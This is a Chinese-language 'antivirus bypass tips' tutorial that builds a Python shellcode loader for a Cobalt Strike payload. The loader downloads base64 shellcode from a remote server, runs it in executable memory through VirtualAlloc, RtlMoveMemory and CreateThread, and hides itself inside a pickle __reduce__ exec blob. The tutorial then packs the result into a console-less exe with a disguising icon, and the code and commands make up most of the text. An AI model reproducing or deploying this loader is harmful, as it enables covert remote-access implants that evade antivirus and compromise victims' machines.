BypassAv有哪些小技巧

BypassAv有哪些小技巧，很多新手對此不是很清楚，為了幫助大家解決這個(gè)難題，下面小編將為大家詳細講解，有這方面需求的人可以來(lái)學(xué)習下，希望你能有所收獲。

01開(kāi)始

首先我們得用cobaltstrike生成一個(gè)python腳本的payload

然后復制里面的payload進(jìn)行Base64編碼

第二步把剛剛生成的Base64丟到里面進(jìn)行訪(fǎng)問(wèn)

能看到這個(gè)就說(shuō)明沒(méi)錯
然后下一步 把地址復制 進(jìn)行反序列化(重要??！)

import base64

shellcode = """
import ctypes,urllib.request,codecs,base64

shellcode = urllib.request.urlopen('http://172.20.10.2:8080/1111.txt').read()
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 設置VirtualAlloc返回類(lèi)型為ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申請內存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 創(chuàng  )建一個(gè)線(xiàn)程從shellcode防止位置首地址開(kāi)始執行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面創(chuàng  )建的線(xiàn)程運行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""


class A(object):
    def __reduce__(self):
        return (exec, (shellcode,))


ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
#ret_decode = base64.b64decode(ret_base64)

只需要把地址添加到紅框里面即可 然后運行

運行之后我們會(huì )得到下面的反序列化的

我們把這串代碼復制到此腳本進(jìn)行生成

import base64,pickle,ctypes,urllib.request
shellcode =b'gANjYnVpbHRpbnMKZXhlYwpxAFg1BAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAoKc2hlbGxjb2RlID0gdXJsbGliLnJlcXVlc3QudXJsb3BlbignaHR0cDovLzE3Mi4yMC  xMC   yOjgwODAvMTExMS50eHQnKS5yZWFkKCkKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShzaGVsbGNvZGUpCnNoZWxsY29kZSA9Y29kZWNzLmVzY2FwZV9kZWNvZGUoc2hlbGxjb2RlKVswXQpzaGVsbGNvZGUgPSBieXRlYXJyYXkoc2hlbGxjb2RlKQojIOiuvue9rlZpcnR1YWxBbGxvY+i/lOWbnuexu+Wei+S4umN0eXBlcy5jX3VpbnQ2NApjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CiMg55Sz6K+35YaF5a2YCnB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksIGN0eXBlcy5jX2ludCgweDQwKSkKCiMg5pS+5YWlc2hlbGxjb2RlCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQojIOWIm+W7uuS4gOS4que6v+eoi+S7jnNoZWxsY29kZemYsuatouS9jee9rummluWcsOWdgOW8gOWni+aJp+ihjApoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKIyDnrYnlvoXkuIrpnaLliJvlu7rnmoTnur/nqIvov5DooYzlrowKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpcQGFcQJScQMu'pickle.loads(base64.b64decode(shellcode))

然后點(diǎn)擊運行你會(huì )發(fā)現 在cs里面成功上線(xiàn)了一臺機器

最后們利用pyinstaller這個(gè)腳本進(jìn)行打包成exe
命令：pyinstaller -F 2.py --noconsole -i Ladon.ico --key 121212

生成完畢的exe在dist目錄下
最后我們在測試一下能不能運行

成功上線(xiàn)

02結束

附上幾個(gè)截圖